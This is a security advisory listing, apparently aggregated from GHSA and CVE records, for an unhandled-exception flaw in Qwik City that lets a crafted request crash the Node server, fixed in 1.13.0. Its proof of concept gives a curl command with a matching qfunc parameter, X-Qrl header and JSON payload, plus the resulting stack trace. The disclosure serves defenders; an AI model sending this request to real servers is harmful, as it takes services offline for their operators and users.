EUVD-2026-247134

fkie_cve-2025-53620

@builder.io/qwik-city is the meta-framework for Qwik. When a Qwik Server Action QRL is executed it dynamically load the file containing the symbol. When an invalid qfunc is sent, the server does not handle the thrown error. The error then causes Node JS to exit. This vulnerability is fixed in 1.13.0.

GHSA-qr9h-j6xg-2j72 — Qwik's unhandled exception vulnerabilty can cause server crashes from malicious requests

Affected: npm: @builder.io/qwik-city

### Summary

Possibility to craft a request that will crash the Qwik Server in the default configuration.

### Details

When a Qwik Server Action QRL is executed it dynamically load the file containing the symbol. When an invalid qfunc is sent, the server does not handle the thrown error. The error then causes Node JS to exit.

### PoC

1. Setup a Qwik Project `pnpm create qwik@latest` 2. Start the Qwik Server using `pnpm run preview` 3. Execute the following curl command to crash the instance ```bash curl --location 'http://localhost:4173/?qfunc=PPXYallGsCE' \ --header 'Content-Type: application/qwik-json' \ --header 'X-Qrl: PPXYallGsCE' \ --data '{"_entry":"2","_objs":["\u0002_#s_PPXYallGsCE",1,["0","1"]]}' ```

Here the `qfunc` query parameter, `X-Qrl` header and payload need to have the same qrl.

The Qwik Server will then crash with the message

``` qrl s_PPXYallGsCE failed to load Error: Dynamic require of "_.js" is not supported at file:///home/michele/Code/qwik/server/entry.preview.js:32:199 at Object.importSymbol (file:///home/michele/Code/qwik/server/entry.preview.js:32:776) at $ (file:///home/michele/Code/qwik/server/entry.preview.js:26:3064) at d (file:///home/michele/Code/qwik/server/entry.preview.js:26:3274) at file:///home/michele/Code/qwik/server/entry.preview.js:26:3311 at Object.a (file:///home/michele/Code/qwik/server/entry.preview.js:26:2566) at oc (file:///home/michele/Code/qwik/server/entry.preview.js:16:1562) at proce…

Most recent entries from all

bdu:2025-14615

EUVD-2026-247134

fkie_cve-2025-53620

GHSA-qr9h-j6xg-2j72 — Qwik's unhandled exception vulnerabilty can cause server crashes from malicious requests